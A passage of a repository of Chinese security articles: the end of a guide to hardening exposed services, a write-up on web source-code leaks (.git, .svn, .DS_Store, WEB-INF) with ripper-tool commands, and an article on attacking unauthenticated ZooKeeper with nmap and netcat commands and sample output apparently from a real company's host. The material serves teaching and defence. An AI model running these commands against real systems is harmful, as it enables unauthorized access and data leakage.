Jenkins在公司中出现的频率也特别频繁，从集成测试到自动部署都可以使用Jenkins来完成，默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者通过暴力破解用户密码进脚本执行界面从而获取服务器权限。 224 | 225 | 226 | 安全隐患： 227 | 228 | 登录未设置密码或密码过于简单 229 | 开放公网访问 230 | 231 | 加固建议： 232 | 233 | 禁止把Jenkins直接暴露在公网 234 | 添加认证，建议使用用户矩阵或者与JIRA打通，JIRA设置密码复杂度 235 | 236 | 237 | **Zookeeper** 238 | 239 | 分布式的，开放源码的分布式应用程序协调服务；提供功能包括：配置维护、域名服务、分布式同步、组服务等。Zookeeper默认也是未授权就可以访问了，特别对于公网开放的Zookeeper来说，这也导致了信息泄露的存在。 240 | 241 | 安全隐患： 242 | 243 | 开放公网访问 244 | 未认证访问 245 | 246 | 加固建议： 247 | 248 | 禁止把Zookeeper直接暴露在公网 249 | 添加访问控制，根据情况选择对应方式（认证用户，用户名密码，指定IP） 250 | 251 | 252 | 253 | **Zabbix** 254 | 255 | Zabbix为运维使用的监控系统，可以对服务器各项指标做出监控报警，默认有一个不需要密码访问的用户（Guest）。可以通过手工SQL注入获取管理员用户名和密码甚至拿到session，一旦攻击者获取Zabbix登录权限，那么后果不堪设想。 256 | 257 | 安全隐患： 258 | 259 | 开放公网访问 260 | 未删除默认用户 261 | 弱密码 262 | 263 | 加固建议： 264 | 265 | 禁止把Zabbix直接暴露在公网 266 | 删除默认用户 267 | 加强密码复杂度 268 | 269 | 270 | **Elasticsearch** 271 | 272 | Elasticsearch是一个基于Lucene的搜索服务器。越来越多的公司使用ELK作为日志分析，Elasticsearch在低版本中存在漏洞可命令执行，通常安装后大家都会安装elasticsearch-head方便管理索引，由于默认是没有访问控制导致会出现安全隐患。 273 | 274 | 安全隐患： 275 | 276 | 开放公网访问 277 | 未认证访问 278 | 低版本漏洞 279 | 280 | 加固建议： 281 | 282 | 禁止把Zabbix直接暴露在公网 283 | 删除默认用户 284 | 升级至最新稳定版 285 | 安装Shield安全插件 286 | 287 | 288 | **Docker** 289 | 290 | 291 | 容器服务在互联网公司中出现的频率呈直线上升，越来越多的公司使用容器去代替原先的虚拟化技术，之前专门做过Docker安全的分析，从 Docker自身安全， DockerImages安全和Docker使用安全隐患进行展开，链接：[https://toutiao.io/posts/2y9xx8/preview](https://toutiao.io/posts/2y9xx8/preview) 292 | 293 | 之前看到一个外国哥们使用脏牛漏洞在容器中运行EXP跳出容器的视频，具体我还没有复现，如果有复现出来的大家一起交流下~ 294 | 295 | 安全隐患： 296 | 297 | Base镜像漏洞 298 | 部署配置不当 299 | 300 | 301 | 加固建议： 302 | 303 | 手动升级Base镜像打上对应补丁 304 | 配置Swarm要当心 305 | 306 | 307 | ###4.总结 308 | 当公司没有负责安全的同学，做到以下几点可以在一定程度上做到防护： 309 | 310 | 1. 关注最新漏洞情况，选择性的进行修复； 311 | 2. 梳理内部开放服务，了解哪些对外开放能内网访问的绝不开放公网； 312 | 3. 开放公网的服务必须做好访问控制； 313 | 4. 避免弱密码；避免弱密码；避免弱密码； 314 | 315 | 以上内容只是理想状态，实际情况即使有安全部门以上内容也不一定能全部做到，业务的快速迭代，开发安全意识的各不相同，跨部门沟通上出现问题等等都会导致出现问题，这篇文章只罗列了部分服务，还有很多服务也有同样的问题，我有空会不断的更新。WeChat:atiger77 316 | 317 | 318 | -------------------------------------------------------------------------------- /学霸君安全建设之路atiger77.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/学霸君安全建设之路atiger77.pdf -------------------------------------------------------------------------------- /常见Web源码泄露总结.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 常见Web源码泄露总结 3 | 4 | z3r0yu@MottoIN Team 5 | 6 | [http://www.mottoin.com/95749.html](http://www.mottoin.com/95749.html/) 7 | 8 | date: 2017-01-25 10:50:24 9 | tags: 10 | --- 11 | 12 | ### 背景 13 | 14 | 本文主要是记录一下常见的源码泄漏问题，这些经常在web渗透测试以及CTF中出现。 15 | 16 | ### 源码泄漏分类 17 | 18 | #### .hg源码泄漏 19 | 20 | ##### 漏洞成因： 21 | 22 | hg init的时候会生成.hg 23 | 24 | e.g.http://www.example.com/.hg/ 25 | 26 | ##### 漏洞利用： 27 | 28 | 工具：[dvcs-ripper](https://github.com/kost/dvcs-ripper) 29 | 30 | ``` 31 | rip-hg.pl -v -u http://www.example.com/.hg/ 32 | ``` 33 | 34 | #### .git源码泄漏 35 | 36 | ##### 漏洞成因： 37 | 38 | 在运行git init初始化代码库的时候，会在当前目录下面产生一个.git的隐藏文件，用来记录代码的变更记录等等。在发布代码的时候，把.git这个目录没有删除，直接发布了。使用这个文件，可以用来恢复源代码。 39 | 40 | e.g. http://www.example.com/.git/config 41 | 42 | ##### 漏洞利用： 43 | 44 | 工具： 45 | 46 | [GitHack](https://github.com/lijiejie/GitHack) 47 | 48 | ``` 49 | GitHack.py http://www.example.com/.git/ 50 | ``` 51 | 52 | [dvcs-ripper](https://github.com/kost/dvcs-ripper) 53 | 54 | ``` 55 | rip-git.pl -v -u http://www.example.com/.git/ 56 | ``` 57 | 58 | #### .DS_Store文件泄漏 59 | 60 | ##### 漏洞成因: 61 | 62 | 在发布代码时未删除文件夹中隐藏的.DS_store，被发现后，获取了敏感的文件名等信息。 63 | 64 | ##### 漏洞利用: 65 | 66 | http://www.example.com/.ds_store 67 | 68 | 注意路径检查 69 | 70 | 网站备份压缩文件 71 | 72 | 在网站的使用过程中，往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下，而该目录又没有设置访问权限时，便有可能导致备份文件或者编辑器的缓存文件被下载，导致敏感信息泄露，给服务器的安全埋下隐患。 73 | 74 | 工具： 75 | 76 | [ds_store_exp](https://github.com/lijiejie/ds_store_exp) 77 | 78 | ``` 79 | python ds_store_exp.py http://www.example.com/.DS_Store 80 | ``` 81 | 82 | ##### 漏洞成因及危害: 83 | 84 | 该漏洞的成因主要有以下两种： 85 | 86 | 1. 服务器管理员错误地将网站或者网页的备份文件放置到服务器web目录下。 87 | 2. 编辑器在使用过程中自动保存的备份文件或者临时文件因为各种原因没有被删除而保存在web目录下。 88 | 89 | ##### 漏洞检测 90 | 91 | 该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载，利用。源代码中所包含的各类敏感信息，如服务器数据库连接信息，服务器配置信息等会因此而泄露，造成巨大的损失。被泄露的源代码还可能会被用于代码审计，进一步利用而对整个系统的安全埋下隐患。 92 | 93 | ``` 94 | .rar 95 | 96 | .zip 97 | 98 | .7z 99 | 100 | .tar.gz 101 | 102 | .bak 103 | 104 | .swp 105 | 106 | .txt 107 | 108 | .html 109 | ``` 110 | 111 | #### SVN导致文件泄露 112 | 113 | ##### 简介： 114 | 115 | Subversion，简称SVN，是一个开放源代码的版本控制系统，相对于的RCS、CVS，采用了分支管理系统，它的设计目标就是取代CVS。互联网上越来越多的控制服务从CVS转移到Subversion。 116 | 117 | Subversion使用服务端—客户端的结构，当然服务端与客户端可以都运行在同一台服务器上。在服务端是存放着所有受控制数据的Subversion仓库，另一端是Subversion的客户端程序，管理着受控数据的一部分在本地的映射（称为“工作副本”）。在这两端之间，是通过各种仓库存取层（Repository Access，简称RA）的多条通道进行访问的。这些通道中，可以通过不同的网络协议，例如HTTP、SSH等，或本地文件的方式来对仓库进行操作。 118 | 119 | e.g.http://vote.lz.taobao.com/admin/scripts/fckeditor.266/editor/.svn/entries 120 | 121 | ##### 漏洞利用: 122 | 123 | 工具： 124 | 125 | [dvcs-ripper](https://github.com/kost/dvcs-ripper) 126 | 127 | ``` 128 | rip-svn.pl -v -u http://www.example.com/.svn/ 129 | ``` 130 | 131 | [Seay-Svn](https://pan.baidu.com/s/1mrNpB) 132 | 133 | #### WEB-INF/web.xml泄露 134 | 135 | ##### 简介： 136 | 137 | WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过web.xml文件对要访问的文件进行相应映射才能访问。 138 | 139 | WEB-INF主要包含一下文件或目录： 140 | 141 | /WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。/WEB-INF/database.properties：数据库配置文件 142 | 143 | ##### 漏洞成因： 144 | 145 | 通常一些web应用我们会使用多个web服务器搭配使用，解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候，由于对静态资源的目录或文件的映射配置不当，可能会引发一些的安全问题，导致web.xml等文件能够被读取。 146 | 147 | ##### 漏洞检测以及利用方法： 148 | 149 | 通过找到web.xml文件，推断class文件的路径，最后直接class文件，在通过反编译class文件，得到网站源码。 150 | 151 | 一般情况，jsp引擎默认都是禁止访问WEB-INF目录的，Nginx 配合Tomcat做均衡负载或集群等情况时，问题原因其实很简单，Nginx不会去考虑配置其他类型引擎（Nginx不是jsp引擎）导致的安全问题而引入到自身的安全规范中来（这样耦合性太高了），修改Nginx配置文件禁止访问WEB-INF目录就好了： location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他！ 152 | 153 | #### CVS泄漏 154 | 155 | ##### 漏洞利用 156 | 157 | 测试的目录 158 | 159 | ``` 160 | http://url/CVS/Root 返回根信息 161 | 162 | http://url/CVS/Entries 返回所有文件的结构 163 | ``` 164 | 165 | 取回源码的命令 166 | 167 | ``` 168 | bk clone http://url/name dir 169 | ``` 170 | 171 | 这个命令的意思就是把远端一个名为name的repo clone到本地名为dir的目录下。 172 | 173 | 查看所有的改变的命令，转到download的目录 174 | 175 | ``` 176 | bk changes 177 | ``` 178 | 179 | #### Bazaar/bzr 180 | 181 | ##### 漏洞利用 182 | 183 | 工具： 184 | 185 | [dvcs-ripper](https://github.com/kost/dvcs-ripper) 186 | 187 | ``` 188 | rip-bzr.pl -v -u http://www.example.com/.bzr/ 189 | ``` 190 | 191 | ### 神器 192 | 193 | [Bitkeeper]([http://www.bitkeeper.com/installation.instructions](http://www.bitkeeper.com/installation.instructions)) 194 | 195 | [weakfilescan](https://github.com/ring04h/weakfilescan) 196 | 197 | ### 参考 198 | 199 | https://zhuanlan.zhihu.com/p/21296806?refer=Anonymous0 200 | 201 | http://www.s2.sshz.org/post/source-code-leak/ -------------------------------------------------------------------------------- /攻击javascript引擎.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/攻击javascript引擎.pdf -------------------------------------------------------------------------------- /攻击大数据应用：ZooKeeper.md: -------------------------------------------------------------------------------- 1 | # 攻击大数据应用（二） # 2 | 3 | [http://www.mottoin.com/95510.html](http://www.mottoin.com/95510.html) 4 | 5 | re4lity@MottoIN 6 | 7 | ## 0x01 前言 ## 8 | 9 | 随着大数据时代的到来，越来越多的大数据技术已逐渐被应用于实际生产，但作为一个安全人员，我们关注点必然和安全相关，那大数据环境中面临的安全问题又有哪些呢？Stardustsky牛的[《攻击大数据应用（一）》](http://www.mottoin.com/85603.html)对大数据的一些技术做一个简单的概念介绍并总结了Elasticsearch的四种攻击方式。这里我打算整理成一系列的Paper,本篇我们将着重探索一下ZooKeeper存在的一些安全问题。 10 | 11 | ## 0x02 ZooKeeper漏洞 ## 12 | 13 | ZooKeeper是一个开放源码的分布式应用程序协调服务，提供的功能包括:配置维护、名字服务、分布式同步、组服务等。Zookeeper默认是未授权就可以访问，特别对于公网开放的Zookeeper来说，这也导致了信息泄露的存在。 14 | 15 | 常见安全隐患： 16 | 17 | - 信息泄露 18 | - 开放公网访问 19 | - 未认证访问 20 | 21 | ### 一、信息泄露 ### 22 | 23 | 这个漏洞的漏洞编号为CVE-2014-0085，是14年发现的一个信息泄露漏洞，危害级别比较低。我们看看漏洞描述： 24 | 25 | ![](https://ooo.0o0.ooo/2017/01/12/58772fd442513.png) 26 | 27 | 该漏洞源于程序记录明文admin密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。 28 | 29 | 在zookeeper中zoo.cfg中可以配置dataLogDir来单独放置事务log，可以很好的避免与普通log和内存快照混合。但是Zookeeper中使用了明文来显示密码，这就导致了信息的泄露。 30 | 31 | 该漏洞的利用场景： 32 | 33 | 内网渗透中遇到ZooKeeper集群后，可以查找事务日志来获取admin的密码或者其他敏感资源的认证方法。访问logs目录： 34 | 35 | ![](https://ooo.0o0.ooo/2017/01/12/5877314c7a25c.png) 36 | 37 | 可以看到认证中客户端使用的账号密码。如果是管理员的密码，就会造成更大的影响。 38 | 39 | ### 二、开放公网访问&未授权访问 ### 40 | 41 | 未授权访问是Zookeeper目前存在的最为严重的一个安全问题，相当多的企业将其直接放置于公网，且未作任何访问限制，导致攻击者可直接访问到很多内部信息。 42 | 43 | 先来张图压压惊： 44 | 45 | ![20170112162054.png](https://ooo.0o0.ooo/2017/01/12/58773d2c6bcd7.png) 46 | 47 | Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用Zookeeper，通过服务器收集敏感信息或者在Zookeeper集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令！ 48 | 49 | 我们通过Zoomeye看一下全球对外开放的Zookeeper有多少: 50 | 51 | ![20170112170801.png](https://ooo.0o0.ooo/2017/01/12/587747ef4772b.png) 52 | 53 | ![20170112170858.png](https://ooo.0o0.ooo/2017/01/12/587747ef7248b.png) 54 | 55 | 结果显示全球大约有3W+主机开放了2181端口，也就说全球大约有3W+的Zookeeper未授权访问漏洞！ 56 | 57 | **利用** 58 | 59 | 发现 Zookeeper 60 | 61 | nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24 62 | grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt 63 | 64 | 65 | 66 | 例如某厂商的Zookeeper未授权访问： 67 | 68 | 远程获取该服务器的环境 69 | 70 | echo envi | nc ip port 71 | 72 | ![db71d42d5231e4e7486deec4ea4467cbe793172b.jpg](https://ooo.0o0.ooo/2017/01/12/587749087c56c.jpg) 73 | 74 | 直接连接 75 | 76 | ./zkCli.sh -server ip:port 77 | 78 | **命令运行示例：** 79 | 80 | `dump`：列出未完成的会话和临时节点。 81 | 82 | $ echo dump |ncat 52.2.164.229 2181 83 | SessionTracker dump: 84 | Global Sessions(7): 85 | 0x1053c5850800023 4000ms 86 | 0x1053c5850800024 4000ms 87 | 0x2000b1ecdeb0160 4000ms 88 | 0x2000b1ecdeb0161 4000ms 89 | 0x2000b1ecdeb0162 4000ms 90 | 0x3055d0251540008 4000ms 91 | 0x3055d0251540009 4000ms 92 | ephemeral nodes dump: 93 | Sessions with Ephemerals (5): 94 | 0x1053c5850800024: 95 | /borg/locutus/agents/061e4b6/10.92.1.192:9257 96 | 0x1053c5850800023: 97 | /borg/locutus/agents/061e4b6/10.92.1.118:9257 98 | 0x3055d0251540008: 99 | /borg/locutus/agents/061e4b6/10.92.1.120:9257 100 | 0x2000b1ecdeb0162: 101 | /borg/locutus/agents/061e4b6/10.92.1.87:9257 102 | 0x3055d0251540009: 103 | /borg/locutus/agents/061e4b6/10.92.1.10:9257 104 | Connections dump: 105 | Connections Sets (2)/(7): 106 | Ncat: An established connection was aborted by the software in your host machine. . 107 | 108 | `envi`：打印有关服务环境的详细信息。 109 | 110 | $ echo envi |ncat 52.2.164.229 2181 111 | Environment: 112 | zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT 113 | host.name=locutus-zk3.ec2.shopify.com 114 | java.version=1.7.0_79 115 | java.vendor=Oracle Corporation 116 | java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre 117 | java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar 118 | java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib 119 | java.Ncat: An established connection was aborted by the software in your host machine. 120 | 121 | `reqs`：列出未完成的请求。 122 | 123 | $ echo reqs |ncat 52.2.164.229 2181 124 | close: Result too large 125 | 126 | `ruok`：测试服务器是否运行在非错误状态。 127 | 128 | $ echo ruok |ncat 52.2.164.229 2181 129 | imok 130 | 131 | `stat`：列出关于性能和连接的客户端的统计信息。 132 | 133 | $ echo stat |ncat 52.2.164.229 2181 134 | Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT 135 | Clients: 136 | /10.92.1.120:35986[1](queued=0,recved=2238053,sent=2238053) 137 | /10.92.1.10:48851[1](queued=0,recved=2235979,sent=2235979) 138 | /10.92.1.242:54198[1](queued=0,recved=713623,sent=713623) 139 | /86.136.100.60:11057[0](queued=0,recved=1,sent=0) 140 | /10.92.1.253:60423[1](queued=0,recved=2204714,sent=2204714) 141 | /10.92.1.192:47933[1](queued=0,recved=1926008,sent=1926008) 142 | /10.92.1.118:37256[1](queued=0,recved=129470,sent=129470) 143 | 144 | Latency min/avg/max: 0/0/981 145 | Received: 25813570 146 | Sent: 25813622 147 | Connections: 7 148 | Outstanding: 0 149 | Zxid: 0xc2000016ad 150 | Mode: follower 151 | Node count: 192 152 | 153 | `kill`命令太危险就不测试了。 154 | 155 | ZooKeeper的一些基本知识和命令可以参考：[《Zookeeper中文文档》](http://zookeeper.majunwei.com/) 156 | 157 | 这里贴上一个ZooKeeper未授权访问的检测脚本： 158 | 159 | [ 160 | https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/zookeeper_unauth_access.py](https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/zookeeper_unauth_access.py) 161 | 162 | ## 0x03 加固建议 ## 163 | 164 | - 禁止把Zookeeper直接暴露在公网 165 | - 添加访问控制，根据情况选择对应方式（认证用户，用户名密码，指定IP） 166 | 167 | ## 0x04 总结 ## 168 | 169 | 本文主要介绍了ZooKeeper的一些安全隐患和攻击方式，但这些漏洞除了非授权访问基本上都已被修复。篇幅有些短，因为大数据安全对很多安全研究者来说还是个比较陌生的领域，网上关于这方面的案例不多，大家对大数据应用的安全重视程度也还比较低，但是对于大数据逐渐泛滥的今天，相信会有更多的从业者投身到该领域的研究中来。欢迎补充:-) 170 | 171 | ## 0x05 参考 ## 172 | 173 | - [http://www.mottoin.com/92742.html](http://www.mottoin.com/92742.html) 174 | - [https://hackerone.com/reports/154369](https://hackerone.com/reports/154369) 175 | - [http://cve.scap.org.cn/CVE-2014-0085.html](http://cve.scap.org.cn/CVE-2014-0085.html) 176 | - [http://ifeve.com/zookeeper_guidetozkoperations/](http://ifeve.com/zookeeper_guidetozkoperations/) 177 | - [http://blog.csdn.net/u011721501/article/details/44062617](http://blog.csdn.net/u011721501/article/details/44062617) --------------------------------------------------------------------------------